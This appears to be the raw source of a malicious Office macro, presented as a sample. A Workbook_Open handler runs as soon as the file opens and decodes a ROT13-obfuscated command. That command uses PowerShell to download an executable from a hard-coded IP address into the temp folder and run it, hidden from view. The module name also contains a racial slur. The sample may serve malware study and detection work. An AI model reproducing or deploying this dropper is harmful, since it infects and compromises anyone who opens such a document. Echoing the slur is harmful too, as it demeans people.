Malicious Word macro

Attribute VB_Name = "Ёта нига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Sub tyrtyaag()
oPOJidsf = k3O0Nfe("pzq /X CbjreFuryy.rkr (Arj-Bowrpg Flfgrz.Arg.JroPyvrag).QbjaybnqSvyr('uggc://85.143.166.140/squgrcbcquq/fsojhejsy/jlkoqs.rkr','%GRZC%\WVBvbqsuvbVU.rkr');Fgneg-Cebprff '%GRZC%\WVBvbqsuvbVU.rkr';")
Shell oPOJidsf, vbHide
End Sub

Function k3O0Nfe(ByVal InString As String)
Dim LetterU As String
Dim LetterL As String
Dim Letter As String
Dim Rot13 As String
Dim i As Integer
LetterU = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
LetterL = "abcdefghijklmnopqrstuvwxyz"
i = 0
Do While i <= Len(InString)
i = i + 1
Letter = Mid(InString, i, 1)
If VV6AgfVVap(Letter) = True Then
If NL4UZNpa4U(Letter) = True Then
Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
Else
Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
End If
Else
Rot13 = Rot13 + Letter
End If
Loop
 k3O0Nfe = Rot13
End Function
Function NL4UZNpa4U(ByVal InString As String) As Boolean
If StrComp(Trim(InString), "") = 0 Then
 NL4UZNpa4U = False
Exit Function
End If
If StrComp(InString, UCase(InString)) = 0 Then
 NL4UZNpa4U = True
Else
 NL4UZNpa4U = False
End If
End Function
Function VV6AgfVVap(ByVal InString As String) As Boolean
InString = UCase(InString)
If InString = "" Then VV6AgfVVap = False: Exit Function
If Asc(InString) >= 65 And Asc(InString) <= 90 Then
 VV6AgfVVap = True
Else
 VV6AgfVVap = False
End If
End Function
Sub Workbook_Open()
    tyrtyaag
End Sub